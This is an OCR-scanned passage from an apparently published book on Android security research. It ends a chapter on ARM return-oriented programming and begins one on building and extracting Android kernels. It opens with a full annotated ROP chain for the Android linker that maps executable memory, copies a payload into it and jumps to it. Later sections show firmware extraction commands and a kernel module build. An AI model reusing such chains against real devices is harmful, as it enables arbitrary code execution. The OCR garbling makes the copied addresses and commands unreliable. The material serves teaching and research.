OxdeadcOde # pc: next gadget’s address 


Now, all register arguments to memc py have been set and Ir points to a 
pop {pc} sequence, so memcpy returns normally. All that’s left to do is invoke 
memcpy and then jump to the code. The memory allocation contains the contents 
of the second string, so the native code should immediately follow the ROP 
chain. Consequently, jumping into the allocation must be offset by the length 
of the ROP chain. The resulting full ROP chain is the combination of the two 
previous parts with the me mc py invocation and lastly the jump into the payload: 


0xb00038ca # pop {r0-r4, pc} 

0xb0018000 # r0: static allocation target address 

0x00001000 # rl: size to allocate = one page 

0x00000007 # r2: protection = read, write execute 

0x00000032 # r3: flags = MAP_ANON | MAP_PRIVATE | MAP_FIXED 
Oxdeadbeef # r4: don't care 

0xb0001678 # pc: __dl_ mmap, returning to Ir = 0xb006545 

Oxf fff tttt # fifth parameter on stack: fd = -1 

0x00000000 # sixth parameter on stack: offset = 0 

0xb0005915 # pop over heap and string headers, pointer goes into r4 


ļ second string starts here 


0xb000131c # pop {r0, Ir}; bx Ir 

0xb0018000 # r0: copy destination = allocation address 
0xb0002ab0 # Ir: address of pop {pc} 

0xb0001918 # pop {r2, r3, pc} 

0x00001000 # r2: copy length = one page 

0xb0018000 # r3: scratch memory = allocation address 
0xb0006261 #rl <- r4 ([r3] <- r4, pop {r4-r7}) 
Oxdeadbeef # r4: don’t care 

Oxdeadbeef # r5: don't care 

Oxdeadbeef # r6: don’t care 

Oxdeadbeef # r7: don't care 

0xb00001220 # __dl_memcpy, returns to and preserves Ir 


0xb00018101 # Thumb payload j ump 


308 


Chapter 9 = Return Oriented Programming 


Summary 


In this chapter, you found out why and how to effectively use ROP on the ARM 
architecture for achieving arbitrary, native code execution. The primary reason 
to use ROP on recent Android versions is the presence of the XN mitigation, 
which prevents an attacker from directly executing regular data in memory. 
Even without the XN mitigation, using ROP can overcome the separate instruc- 
tion and data caches of the ARM architecture. 

Despite the perceived difficulty of using ROP in the presence of lr-based returns, 
general stack-based ROP is still feasible due to the presence of pop {pc} gadgets. 
Even gadgets ending inabx /r instruction can be leveraged by cleverly pointing 
Irtoasingle pop {pc} instruction. Confusing ARM instructions for Thumb pop 
{..., pc} instructions yields even more potential gadgets. The current execu- 
tion mode can be switched by utilizing Interworking support, namely setting 
the low bit of a gadget address to switch to Thumb mode. Finding gadgets is 
an easy task on RISC architectures like ARM. A simple dead listing produced 
by a disassembler is sufficient due to fixed-length instruction encoding. 

A reusable example ROP chain for the Android dynamic linker was provided 
and explained in depth. On Android 4.0 and prior versions, the linker base 
address was fixed, so a ROP chain can be crafted without an information leak. 
Because the dynamic linker must be present in any dynamically linked binary 
(which includes almost all binaries on a default Android build), it can be reused 
for a variety of attack targets. 

The next chapter provides you with the tools and techniques needed to develop, 
debug, and exploit Android’s operating system kernel. 


Hacking and Attacking the Kernel 


The Linux kernel is the heart of the Android operating system. Without it, 
Android devices would not be able to function. It interfaces user-space software 
with physical hardware devices. It enforces the isolation between processes and 
governs what privileges those processes execute with. Due to its profound role 
and privileged position, attacking the Linux kernel is a straightforward way to 
achieve full control over an Android device. 

This chapter introduces attacking the Linux kernel used by Android devices. 
It covers background information about the Linux kernel used on Android 
devices; how to configure, build, and use custom kernels and kernel modules; 
how to debug the kernel from a post-mortem and live perspective; and how to 
exploit issues in the kernel to achieve privilege escalation. The chapter concludes 
with a few case studies that examine the process of turning three vulnerabilities 
into working exploits. 


Android’s Linux Kernel 


The Linux kernel used by Android devices began as Russell King’s project to 
port Linux 1.0 to the Acorn A5000 in 1994. That project predated many of the 
efforts to port the Linux kernel to other architectures such as SPARC, Alpha, or 
MIPS. Back then, the toolchains lacked support for ARM. The GNU Compiler 
Collection (GCC) did not support ARM, nor did many of the supplementary 
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tools in the toolchain. As time went on, further work was done on ARM Linux 
and the toolchain. However, it wasn’t until Android that the ARM Linux kernel 
received so much attention. 

Android’s Linux kernel was not created overnight, though. In addition to 
previous porting efforts, the Android developers made numerous modifications 
to the kernel to support their new operating system. Many of these changes, 
which are discussed in Chapter 2, come in the form of custom drivers. Of par- 
ticular note is the Binder driver, which is central to Android’s inter-process 
communication (IPC). The Binder driver lays the groundwork for communica- 
tion between native and Dalvik components as well as for app building blocks, 
such as Intents. Further, the importance of security on a device as sensitive as a 
smartphone has led to the implementation of numerous hardening measures. 

One very important aspect of Android’s Linux kernel is that it is a monolithic 
kernel. In contrast to a microkernel architecture where many drivers run in a 
less privileged context (though still more privileged than user-space), everything 
that is part of the Linux kernel runs entirely in supervisor mode. This property, 
in conjunction with the vast exposed attack surface, makes the kernel an attrac- 
tive target for attackers. 


Extracting Kernels 


In addition to being a monolithic kernel, Android’s Linux kernel is distributed 
as a monolithic binary. That is, its core consists of only a single binary file, often 
called az| mage. Thez! mage binary consists of some bootstrap code, a decom- 
pressor, and the compressed kernel code and data. When the system boots, the 
compressed image is decompressed into RAM and executed. This is a simplistic 
overview of the process and is likely to change in future releases of Android. 

Getting a hold of the binary image that runs on any particular device is 
attractive for a number of reasons. First of all, depending on the configuration 
used, the kernel build tools embed several interesting things into the image. 
Of particular note are global function and data symbols, which are covered in 
more detail in the “Extracting Addresses” section later in this chapter. Second, 
it is possible to analyze the code with a tool like IDA Pro to find vulnerabilities 
through binary auditing. Third, kernel images can be used to verify the pres- 
ence of, or to port an exploit for, a previously discovered vulnerability. Also, 
at a higher level, kernel images can be used to craft custom recoveries for new 
devices or back port new versions of Android to older unsupported devices. By 
no means is this an exhaustive list of the reasons you might want to get your 
hands on kernel binaries, but it covers the most common cases. 

To get the binary kernel image, you first need to get an image of the boot 
partition. You can do this using a few methods. The first method, and probably 
the easiest, is to extract them from stock firmware images (sometimes called 
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ROMs). The process varies from one original equipment manufacturer (OEM) 
to another, but rest assured that full stock images always contain these binaries. 
Also, this method is especially useful when trying to achieve initial root access 
to a device. 

The second method, which requires a rooted device, is to extract them directly 
from the target device itself. This method is especially useful for porting or 
targeting a single device and can still be used in the event that a full stock 
ROM is not available. Finally, kernel binaries for many Android Open Source 
Project (AOSP)-supported devices are available under the devi ce directory in 
the AOSP repository. Experience shows that this is the least reliable method 
because these binaries often lag behind or differ from the kernels used on the 
live device itself. The next section takes a closer look at how you get kernel 
images using the first two methods. 


Extracting from Stock Firmware 


Acquiring the stock firmware for a given device ranges from trivial to quite chal- 
lenging. On the trivial side, Google posts factory images for Nexus devices at 
htt ps://developers. google. com/android/nexus/i mages. Downloading them 
does not require any authentication or payment, and they use the common TAR 
and ZIP archive tools to package them. On the challenging side, some OEMs 
use proprietary file formats to distribute their firmware. If no open source tool 
is available, accessing the contents may require using the OEMs’ proprietary 
tools. This section explains how to extract the boot. i mg from various stock 
firmware images and then shows you how to extract an uncompressed kernel 
from the boot image. 


Nexus Factory Images 


Kernel binaries for Nexus devices are very easy to obtain because factory images 
are widely available and promptly posted. For example, Android 4.4 was released 
during the writing of this manuscript. Using the factory image for the Nexus 5, 
you are able to extract and further analyze the live kernel. After downloading 
the factory image, decompress it: 


dev: ~/android/n5 $ tar zxf hammerhead-krtl6m-factory-bd9c39de.tgz 
dev: ~/android/n5 $ cd hammerhead-krt 16m/ 

dev: ~/android/n5/hammerhead-krtl6m $ Is 
bootloader-hammerhead-HHZ1l1d. i mg 

flash-all.bat 

flash-all.sh* 

flash-base.sh* 

image-hammerhead-krtl6m zip 

radio-hammerhead- M8974A-1.0.25.0.17.i mg 


311 


312 


Chapter 10 = Hacking and Attacking the Kernel 


The images for the boot andrecovery partitions are in thei mage- hammer head- 
krt 16m. zi p archive asboot.img andrecovery. i mg, respectively. The boot. i mg 
is the most interesting file because it is the kernel used on normal boots: 

dev: ~/android/n5/hammerhead-krtl6m $ unzip -d img \ 

image-hammerhead-krtl6m zip boot.img 

Archive: image-hammerhead-krtl6m. zip 

inflating: img/boot.img 

dev: ~/android/n5/hammerhead-krtl6m $ cd img 

dev: ~/android/n5/hammerhead-krtl6m/img $ 


At this point you have the boot. i mg, but you still need to get the kernel out. 
The process for doing that is explained in the “Getting the Kernel from a Boot 
Image” section later in this chapter. 


OEM Stock Firmware 


Finding and extracting kernels from the stock firmware images provided by 
OEM vendors is much more convoluted than doing it for Nexus devices. As 
stated previously, each OEM has its own process, tools, and proprietary file 
format for its stock ROMs. Some of these vendors don’t even make their stock 
firmware images readily available. Instead, they force you to use their tools for 
image acquisition. Even those vendors that do provide stock firmware images 
often require that you use proprietary tools to extract or flash ROMs. This sec- 
tion explains the process of extracting aboot. img from a stock firmware image 
for each of the top six Android device vendors. A list of flashing and firmware 
extraction tools for some of these OEMs is provided in Appendix A. 


ASUS 


ASUS makes stock firmware images available on its support website in the form 
of zipped bl ob files. A project called “BlobTools” on Github supports extracting 
the bl ob, which contains the desired boot. i mg. 


HTC 


HTC doesn’t routinely release stock firmware images, but it has released a 
couple on its Developer Center site. However, you can find many HTC ROMs 
through third-party aggregation sites. These stock images are released as ROM 
Update Utilities (RUUs). Luckily, several open source tools that extract the r o m. 
zi p from within the RUU are available. This alleviates the need for a Windows 
machine. Inside the rom. zi p,the boot _signed.img isaboot.img with an extra 
header. You can extract it like so: 

dev: ~/android/htc-m7-ruu $ unzip rom. zip boot_unsi gned. i mg 

| i a ating: boot_signed. img 

dev: ~/android/htc-m7-ruu $ dd if=boot_signed.img of =boot.img bs=256 skip=1 

[easel 


After stripping the 256 byte header off, you have the desired boot. i mg. 
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LG 


LG’s update and recovery infrastructure is complex and proprietary. Its LG 
Mobile Support tool even requires using an International Mobile Equipment 
Identity (IMEI) to query its back-end systems. Luckily, searching for the model 
number along with “stock ROM” enables you to easily locate stock ROMs for 
most devices. To make matters worse, though, LG uses a variety of proprietary 
formats for these ROMs, including BIN/TOT, KDZ, and CAB. Extracting and 
flashing these ROMs can be difficult. A pair of tools from community developers 
eases the process. Starting from a CAB file, the process takes three steps. First, 
extract the CAB file using one of the few tools that support this compression 
format. Next, use the binary-only LGExtract tool (Windows only) to extract the 
WDB file into a BIN file. You can find this tool on the XDA Developers forum 
athttp://forum. xda-developers. com/showthread. php?t =1566532. Finally, 
use LGBinExtract from https: // github. com/ Xonar/LGBinExtractor to extract 
the BIN into its components. Inside the BIN directory, there will be a file called 
8- BOOT. i mg. The number may vary, but this is the file you're after. Among the 
top six OEMs, the process for LG stock firmware is by far the most complex. 


Motorola 


Like most OEMs, Motorola does not provide direct downloads for their stock 
firmware images. Because there is a need for open access to these images, sev- 
eral community sites host them. Older Motorola devices use the proprietary 
SBF file format, which can be extracted using sbf _f l ash’s -x option. The file 
called (G35. i mg is the boot. img you seek. Newer devices use a zip file ( xml . 
zi p) containing the various partition images, including boot. i mg. 


Samsung 


Samsung distributes stock firmware using its proprietary Kies tool. Apart from 
this tool, the community firmware site SamMobile hosts a large number of stock 
ROMs for Samsung devices. Samsung stock images use a. t ar. md5 file extension, 
which is just a TAR file with a text MD5 appended. These are usually zipped, 
too. Extracting the zip and then the TAR produces the desired boot. i mg file. 


Sony 


Sony distributes stock firmware via its Sony Update Service (SUS) tool. 
Additionally, a community site called Xperia Firmware hosts firmware images 
for many devices. Sony device firmware is distributed in a format called FTF, 
which is just a zip file. Inside, however, there are proprietary files for each com- 
ponent of the firmware. The file that is most interesting to us here is ker nel 
. si n. Unlike other OEMs, Sony does not use the boot . i mg format. The Andoxyde 
tool is large and unwieldy, but it supports extracting the kernel image from this 
file. It’s also possible to extract the compressed kernel using bi nwal k and/or dd. 
Binwalk reveals an ELF binary and two gzip streams. The first gzip stream is 
the z| mage file that you ultimately seek to extract. 
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Extracting from Devices 


Unlike the process of extracting from stock firmware, there is little variance in 
the process of extracting kernel images directly from devices. The process is 
largely the same regardless of the device type (model, manufacturer, carrier, 
etc.). The general process involves finding the corresponding partition, dump- 
ing it, and extracting it. 

There are a handful of ways to figure out exactly which partition holds the 
boot.i mg data. First, you can use the by- name directory within the System-On- 
Chip (SoC)-specific entry in / dev/ bl ock/ pl at form: 

shel! @android:/data/local/tmp $ cd /dev/bl ock/platform/*/by-name 


shell @android:/dev/block/platform/msm.sdcc.1/by-name $ Is -I boot 
lrwxrwxrwx root root 1970-01-02 11:28 boot -> /dev/block/ mmcbl k0p20 


| WARNING | Some devices have anaboot entryintheby- name directory, too. Be 
careful not to write to this partition in lieu of the b0 0t partition. Doing so may brick 


your device. 


You can use this symbolic link directly, or you can use the block device to 
which it points. The next method looks at the first several bytes of each partition: 


root@android:/data/local/tmp/kernel # for ii in /dev/block/m*; do \ 
BASE='../busybox basename $ii`; \ 
dd if=$ii of =$BASE count=1 2> /dev/null; \ 

done 


root@android:/data/local/tmp/kernel # grep ANDROID * 
Binary file mmcb| k0p20 matches 
Binary file mmcbl k0p21 matches 


Unfortunately this gives you two matches (or possibly more). Remember that 
both the boot andrecovery partitions use the same format. By peering into the 
header, you can tell the boot partition apart because it has a smaller ramdisk_size 
field than the recovery partition. 

Now you are ready to dump the partition data and pull it down from your 
device. Note that dumping an image from the device includes the entire partition 
contents, including unused areas. Boot images extracted from a stock firmware 
package only includes the data that is necessary. As such, dumped binaries 
will be bigger (sometimes significantly) than the factory boot. i mg. To dump a 
partition, use the dd command as shown here: 

root@android:/data/local/tmp/kernel # dd \ 

if=/dev/block/platform/omap/omap_hsmmc.0/by-name/ boot of =cur-boot.img 

16384+0 records in 


16384+0 records out 
8388608 bytes transferred in 1.635 secs (5130647 bytes/sec) 
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root@android:/data/local/tmp/kernel # chmod 644 *.img 
root@android:/data/local/tmp/kernel # 


After dumping an image of the boot partition to the cur -boot.img file, use 
chmod to allow the Android Debug Bridge (ADB) user to pull the images from 
the device. You then pull the images down to your development machine using 
ADB as follows: 

dev: ~/android/src/kernel/omap $ mkdir staging && cd $_ 

dev: ~/android/src/kernel/omap/staging $ adb pull \ 


/data/local/tmp/kernel/cur- boot. img 
2379 KB/s (8388608 bytes in 3. 442s 


The final step is extracting the kernel from the obtained boot image. 


Getting the Kernel from a Boot Image 


Recall that Android devices typically have two different modes where they will 
boot a Linux kernel. The first mode is the normal boot process, which uses the 
boot partition. The second mode is for the recovery process, which uses the 
recovery partition. The underlying file structure for both of these partitions is 
identical. They both contain a short header, a compressed kernel, and an initial 
ramdisk (i ni tr d) image. The compressed kernel used during normal boots is 
the most security critical, and thus is the most interesting to obtain. 

Internally, the boot. img andrecovery.i mg files are composed of three pieces. 
The file begins with a header used to identify the file format and provide basic 
information about the rest of the file. For more information about the structure of 
this header, consult the syst em/core/ mkbootimg/booti mg. h file within the AOSP 
repository. The page_size entry in this structure is rather important because 
the kernel andi nit rd images will be aligned on block boundaries of this size. 

The compressed kernel is located on the next block boundary immediately 
following the header. Its size is stored in the ker nel _si ze member of the header 
structure. At the next block boundary, thei ni trd image begins. 

Extracting these pieces manually can be quite tedious. The mkbooti mg utility 
from the AOSP is used when building full system images from source, but it 
does not support extracting images. To extract images, the aboot i mg tool was 
created based on mkbooti mg. It works quite well for unpacking the image file, 
as shown here: 

dev: ~/android/n5/hammerhead-krtl6m/img $ mkdir boot && cd $_ 

dev: ~/android/n5/hammerhead-krtl6m/img/ boot $ abootimg -x ../boot.img 

writing boot image config in bootimg.cfg 

extracting kernel in zl mage 

extracting ramdisk in initrd.i mg 


Now you have the z! mage file that you're after. 
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Decompressing the Kernel 


Doing further analysis on a kernel binary requires decompressing it. The Linux 
kernel supports three different compression algorithms: gzip, 1zma, and 1zo. 
By and large, a majority of Android device kernels are compressed using the 
traditional gzip algorithm. The Linux kernel contains a script called script s/ 

extract-vmlinux, which unfortunately doesn’t work on Android kernels. As 
such, you must decompress the kernel manually. Thankfully, the bi nwal k tool 
makes this process much easier: 


dev: ~/android/n5/hammerhead-krtl6m/img/boot $ binwalk zl mage | head 
[acd 

18612 0x48B4 gzip compressed data, from Unix, NULL 
date: Wed Dec 31 18:00:00 1969, max compression 

[eci] 

dev: ~/android/n5/hammerhead-krt16m/img/boot $ dd if=zl mage bs=18612 \ 
skip=1 | gzip -cd > piggy 


The second command above pipes the output from dd to thegzi p command, 
which gives you the uncompressed kernel binary image. With this image in hand, 
you can extract details from it or analyze the code in IDA Pro. Later sections 
of this chapter discuss how to extract specific information from uncompressed 
kernel binaries. 


Running Custom Kernel Code 


When hacking and attacking the kernel, it is tremendously useful to be able 
to introduce new code. You can use custom kernel modules to instrument the 
kernel to monitor existing behavior. Changing the kernel configuration allows 
enabling powerful features like remote debugging. In any case, changing the 
kernel’s code without an exploit requires using the Android and Linux kernel 
tools to compile the new code. This section walks through the process of obtain- 
ing the kernel source code, setting up the build environment, configuring the 
kernel, building custom modules and kernels, and loading your new code onto 
both AOSP-based and OEM-provided Android devices. This chapter provides 
relevant examples using an AOSP-based Galaxy Nexus and the Sprint Samsung 
Galaxy S III. 


Obtaining Source Code 


Before you can build custom modules or a kernel for your device, you must 
obtain the source code. The method for obtaining the code varies depending 
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on who is responsible for the kernel for a particular device. Google hosts kernel 
Git repositories for AOSP-supported Nexus devices. On the other hand, OEMs 
use various methods to distribute their kernel source. Because the Linux kernel 
is distributed under version 2 of the GNU Public License (GPL), vendors are 
legally obligated to release their source code, including customizations. 


Key When unable to locate the kernel source code, contact the vendor directly 
and request that the source be made available. If needed, remind them of their legal 
obligation to do so in compliance with the Linux kernel’s GPL license. 


In most cases, obtaining the kernel source for a particular device is straight- 
forward. However, in some cases it is not possible. On several occasions, both 
OEMs and Google have been slow to provide kernel source for newer devices. 
Generally, patience pays off as few devices remain without kernel source avail- 
ability indefinitely. 


Getting AOSP Kernel Source 


Google’s Nexus line of Android devices represents the company’s reference 
implementation primarily intended for use by developers. Source code is available 
for nearly every component in the system. The kernel is no exception. As such, 
getting source code for Nexus devices is fairly straightforward. Figuring out 
exactly which kernel source a device uses is easy, but it isn’t a one-step process. 
Within AOSP, there are two specific places to find kernel-related information. 
The first contains information about a particular support device, or closely 
related family of devices. The second contains several different kernel source 
trees. This section covers how to leverage these places to get the exact kernel 
source needed for the remainder of the chapter, which uses a Galaxy Nexus 
running Android 4.2.2 for illustrative purposes. 

Google hosts device-specific repositories in the devi ce directory in the AOSP 
tree. These repositories include things such as Mak efi | es , overlays, header files, 
configuration files, and a kernel binary named kernel . This file is particularly 
interesting as its history tracks which sources were used to build it. Google 
provides information about these repositories in the AOSP documentation at 
http://source. android. com/source/ building-kernels. ht ml .Commit infor- 
mation for the ker ne! file in these repositories, as well as the documentation, 
tends to lag behind the release of new devices. As such, these repositories are 
typically only useful for mapping a particular device to its SoC tree. Figure 10-1 
provides a mapping of several AOSP-supported devices to their SoC, and thus 
its kernel source repository. 
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Model SoC 
Nexus 7 2013 Wi-Fi MSM 
Nexus 7 2013 Mobile MSM 
Nexus 10 Exynos 5 
Nexus 4 MSM 
Nexus 7 2012 Wi-Fi Tegra 
Nexus 7 2012 Mobile Tegra 
Galaxy Nexus OMAP 
Galaxy Nexus CDMA/LTE OMAP 
Pandaboard OMAP 
Motorola Xoom Verizon Tegra 
Motorola Xoom Wi-Fi Tegra 
Nexus S Exynos 3 
Nexus S 4G Exynos 3 


Figure 10-1: Mapping of AOSP devices to SoC 


As mentioned in Chapter 3, it is usually possible to determine the SoC used 
by a device from entries under the / dev/bl ock/ pl atf or m directory. 


shel! @android:/dev/block/platform$ Is 
omap 


After you determine the SoC manufacturer, you can obtain the kernel source 
from Google using Git. AOSP contains one Git repository for each supported SoC. 
Figure 10-2 shows the repository name for each Google-hosted SoC kernel tree. 


SoC Kernel Name 
MSM msm 
Exynos 5 exynos 
Tegra tegra 

OMAP omap 
Exynos 3 samsung 
Emulator goldfish 


Figure 10-2: Kernel names for each SoC 


From the Figure 10-1, you can see that the target device is based on the OMAP 
SoC. The following excerpt shows the commands needed to clone the corre- 
sponding kernel source. 


dev: ~/android/src $ mkdir kernel && cd $_ 

dev: ~/android/src/kernel $ git clone \ 
https://android. googlesource.com/kernel/omap. git 
Cloning into 'omap'... 

remote: Counting objects: 41264, done 

remote: Finding sources: 100% (39/39) 

remote: Getting sizes: 100% (24/24) 
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remote: Compressing objects: 100% (24/24) 

Receiving objects: 100% (2117273/2117273), 441.45 MiB | 1.79 MiB/s, done 
remote: Total 2117273 (delta 1769060), reused 2117249 (delta 1769054 
Resolving deltas: 100% (1769107/1769107), done 


After the clone operation completes, you have a repository on the master 
branch. However, notice that there are no files in the working copy. 
dev: ~/android/src/kernel $ cd omap 


dev: ~/android/src/kernel/omap $ Is 
dev: ~/android/src/kernel/omap $ 


The master branch of AOSP kernel trees is kept empty. In a Git repository, the 
. git directory contains everything necessary to create a working copy from any 
point in development history. Checking out the master branch is a nice shortcut 
to delete all files that are already tracked, thereby freeing up storage space. 

The final step in obtaining the kernel source for an AOSP-supported device 
involves checking out the correct commit. As stated previously, the commit 
logs for the kernel file in the device directory often lag behind live kernels. To 
solve this problem, you can use the version string extracted from / proc/ver- 
sion ora decompressed kernel image. The following ADB shell session excerpt 
demonstrates the process on the reference device. 

shell @android:/ $ cat /proc/version 

Linux version 3.0.31-g9f818de (android-build@vpbsi. mtv. corp. google.com 


(gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT 
Wed Nov 28 11:20:29 PST 2012 


In this excerpt, the relevant detail is the seven-digit hex value following 
3. 0. 31-g in the kernel version: 9f 818de. Using this value, you are able to check 
out the exact commit needed. 


dev: ~/android/src/kernel/omap $ git checkout 9f818de 
HEAD is now at 9f818de... mm: Hold a file reference in madvise_remove 


At this point you have successfully checked out a working copy of the kernel 
source for the target device. This working copy is used throughout the rest of 
this chapter. 


Getting OEM Kernel Source 


Obtaining source code for OEM devices varies from one manufacturer to another. 
OEMs rarely provide access to kernel source via source control (Git, or otherwise). 
Instead, most vendors have an open source portal where you can download 
source code. For further information on how various OEMs release source code, 
refer to Appendix B. After you've located the specific OEM portal, the typical 
process is to search for the model number of the target device. This usually 
results in a downloadable archive containing the kernel source and directions 
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for building it. Because the process varies so much from OEM to OEM, this 
chapter doesn’t dive into more detail here. However, the chapter does cover the 
process further when it walks you through building a kernel for an OEM device 
in the “Building a Custom Kernel” section later in this chapter. 


Setting Up a Build Environment 


Building custom kernel modules or kernel binaries requires a proper build 
environment. Such an environment consists of an ARM compiler toolchain 
and various other build tools, such as GNU make. As discussed previously in 
Chapter 7, there are several compiler toolchains available. The compiler used for 
a particular device is sometimes documented by the OEM in a text file included 
with the kernel source archive. Depending on which toolchain is used, the exact 
process of setting up the build environment varies. In this chapter, you use 
various versions of the AOSP prebuilt toolchain. Using other toolchains is out 
of scope, so refer to the documentation for those toolchains if you choose to use 
them. There are only a couple steps to initializing the kernel build environment, 
after which a working compiler and related tools will be available. 

The first step for setting up the kernel build environment based on the 
AOSP prebuilt toolchain is the same as covered in Chapter 7. This example 
uses the Android 4.3 version, but the steps are the same regardless of which 
version is used. 


dev: ~/android/src $ . build/envsetup. sh 
including device/samsung/ maguro/vendorsetup.sh 
including sdk/bash_completion/adb. bash 
dev: ~/android/src $ lunch full_maguro-userdebug 


PLATFORM VERS! ON_CODENAME=REL 
PLATFORM_VERSI ON=4. 3 
TARGET_PRODUCT=f ull maguro 
TARGET_BUILD_VARI ANT=userdebug 
TARGET_BUILD_TYPE=rel ease 
TARGET_BUILD_APPS= 
TARGET_ARCH=arm 
TARGET_ARCH_VARI ANT=ar mv7- a- neon 
TARGET_CPU_VARI ANT=cortex- a9 
HOST_ARCH=x 86 

HOST_OS=l i nux 

HOST_OS_EXTRA=Li nux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise 
HOST_BUILD_TYPE=release 

BUI LD_| D=] WR66Y 
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OUT_DI R=out 


dev: ~/android/srcec $ 


At this point, you have a compiler toolchain in your path already. You can 
confirm by querying the version of the compiler. 

dev: ~/android/src $ arm-eabi-gcc --version 

arm-eabi-gcc (GCC) 4.7 


Copyright (C) 2012 Free Software Foundation, Inc. 
[caw 


Building a kernel requires an extra step beyond the usual build environment 
setup steps. Specifically, you need to set a few environment variables used by 
the kernel build system. These inform the kernel about your toolchain. 

dev: ~/android/src $ cd kernel /omap/ 

dev: ~/android/src/kernel/omap $ export CROSS COMPI LE=arm- eabi - 

dev: ~/android/src/kernel/omap $ export SUBARCH=arm 


dev: ~/android/src/kernel/omap $ export ARCH=arm 
dev: ~/android/src/kernel/omap $ 


ike} When building the kernel, take care to use the ar m- eabi compiler instead 
of thearm-| i nux-androideabi compiler. Using the incorrect embedded applica- 
tion binary interface (EABI) causes build failures. 


After setting these variables, your environment is fully initialized, and you 
are ready to move toward building your custom modules or kernel. The final 
step before building kernel components is configuring the kernel. 


Configuring the Kernel 


The Linux kernel contains support for many architectures, hardware components, 
and so on. In order to support building a single image containing everything 
necessary for any particular combination of settings, the Linux kernel has an 
extensive configuration subsystem. In fact, it even provides several different 
user interfaces including Qt-based graphical user interface (GUI) (make xcon- 
fig), text-based menu (make menuconfig), and question and answer interfaces 
(make config). The Android developer website documents the required and 
recommended configuration options for the Linux kernel at htt p://source. 
android. com/devices/tech/kernel. htm. 

Another option, which is the most commonly used for building Android ker- 
nels, allows specifying a configuration template called a defconfig. The templates 
for this option are stored in the ar ch/ arm/ configs directory in the kernel source. 
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Each Android device has a corresponding template that is used to build its ker- 
nel. The following example configures the kernel to build for the Galaxy Nexus: 


dev: ~/android/src/kernel/omap $ make tuna _defconfig 
HOSTCC scripts/basic/fixdep 
HOSTCC scripts/kconfig/conf.o 
SHIPPED scripts/kconfig/zconf.tab.c 
SHIPPED scripts/kconfig/lex.zconf.c 
SHIPPED scripts/kconfig/zconf.hash.c 
HOSTCC scripts/kconfig/zconf.tab.o 
HOSTLD scripts/kconfig/conf 

# 

# configuration written to .config 

# 


In the preceding excerpt, the kernel build system first builds the dependen- 
cies for processing the configuration template. Finally, it reads the template and 
writes out the. config file. All the different configuration methods ultimately 
result in the creation of this file. Although you can edit this file directly, it’s 
recommended that you edit the template instead. 

In some rare cases, the kernel configuration in the AOSP tree does not match 
the actual configuration used for a device's live kernel. For example, the Nexus 4's 
kernel shipped with CONFI G_ MODULES disabled but the AOSP mako_def config had 
CONFI G_MODULES enabled. If the kernel was compiled with the CONFI G_! KCONFI G 
option, one can extract the configuration from an uncompressed kernel using 
the extract-ikconfig using the scripts directory of the Linux kernel. Further, 
the configuration is often available in compressed form from/ proc/ config. gz 
on a booted device. Unfortunately, it’s non-trivial to determine the exact kernel 
configuration parameters without this configuration option. 

With the build environment set up and the kernel configured, you are ready 
to build your custom modules or kernel. 


Using Custom Kernel Modules 


Loadable kernel modules (LKMs) are a convenient way to extend the Linux 
kernel without recompiling the whole thing. For one, modifying the kernel’s 
code and/or data is a necessity in creating rootkits. Further, executing code in 
kernel-space gives access to privileged interfaces, such as TrustZone. Using a fairly 
simple LKM, this section introduces some of the facilities the kernel provides. 

You don’t compile kernel modules for an Android device in the usual way. 
Usually, you compile kernel modules for Linux systems using headers located 
in a version specific directory under / | i b/ modul es. The reason for this is that 
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kernel modules have to be compatible with the kernel they are loaded into. 
Android devices do not contain such a directory, and no such package is avail- 
able for them. Thankfully, the kernel source fills this gap. 

The previous sections described checking out a copy of the kernel source for 
a Galaxy Nexus running Android 4.2.2, setting up the build environment, and 
configuring the kernel. Using this environment, you can quickly and easily put 
together a simple “Hello World” LKM. To track your changes separately, create 
a new branch from the exact version of the source being used by the device: 


dev: ~/android/src/kernel/omap $ git checkout 9f818de -b ahh_modules 
Checking out files: 100% (37662/37662), done 
Switched to a new branch '‘ahh_modul es 


With the branch created, extract the kernel modules included with this chap- 
ter’s accompanying materials. 


dev: ~/android/src/kernel/omap $ tar zxf ~/ahh/chapterl0/ahh_modules.tgz 
dev: ~/android/src/kernel/omap $ 


This creates two new directories, each containing one module, in the 
drivers directory in the Linux kernel source. The following is an excerpt from 
the source to the “Hello World” module: 


int init _module( void) 


{ 
printk(KERN_INFO "%s: HELLO WORLD! @#! @#\n", __this_module. name) 
/* force an error so we don't stay loaded */ 
return -1; 

} 


Similar to building on other Linux distributions, it’s not necessary to build 
the entire kernel prior to compiling modules. Only a few things are needed to 
get the kernel build environment ready to build modules. The following excerpt 
shows the necessary commands: 


dev: ~/android/src/kernel/omap $ make prepare modules prepare 
scripts/kconfig/conf --silentoldconfig Kconfig 

CHK include/linux/version.h 

UPD include/linux/version.h 
[ews 

HOSTCC scripts/kallsyms 


This command is the extent of what is strictly required. It builds the neces- 
sary scripts and header files needed for building modules. 
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Using the command line from within the “Hello World” LKM’s source, com- 
pile the module. Here’s the output from the commands: 


dev: ~/android/src/kernel/omap $ make ARCH=arm CONFIG AHH_HELLOWORLD=m \ 
M=drivers/ahh_helloworld 


WARNING: Symbol version dump ~/android/src/kernel/omap/ Module. symvers 
is missing; modules will have no dependencies and modversions. 
[evn 
LD [M] drivers/ahh_helloworld/ahh_helloworld_mod. ko 


A warning was printed during the build, but the build completed successfully. 
If you don’t have a need for dependencies or module versioning then there’s 
nothing to fix. If you simply don’t like seeing nasty warnings or you need those 
facilities, building the kernel’s modules fixes the issue: 


dev: ~/android/src/kernel/omap $ make modules 
CHK include/linux/version.h 
CHK include/generated/utsrelease.h 
Laci 
LD [M] drivers/scsi/scsi_wait_scan. ko 


With the “Hello World” module compiled, you are ready to push it to the 
device and insert it into the running kernel: 


dev: ~/android/src/kernel/omap $ adb push \ 
drivers/ahh_helloworld/ahh_helloworld_mod.ko /data/!ocal/tmp 
788 KB/s (32557 bytes in 0.040s 

dev: ~/android/src/kernel/omap $ adb shell 

shell @android:/data/local/tmp $ su 
root@android:/data/local/tmp # insmod ahh_helloworld_mod.ko 


Push the module and open a shell using ADB. Using root privileges, insert 
the module using the i ns mod command. The kernel starts to load the module 
and executes thei ni t_ module function. Inspecting the kernel ring buffer using 
the dmes g command, you see the following. 


root@android:/data/local/tmp # dmesg | ./busybox tail -1 
<6>[74062.026855] ahh_helloworld mod: HELLO WORLD! @#! @# 
root@android:/data/local/tmp # 


The second included kernel module is a more advanced example kernel 
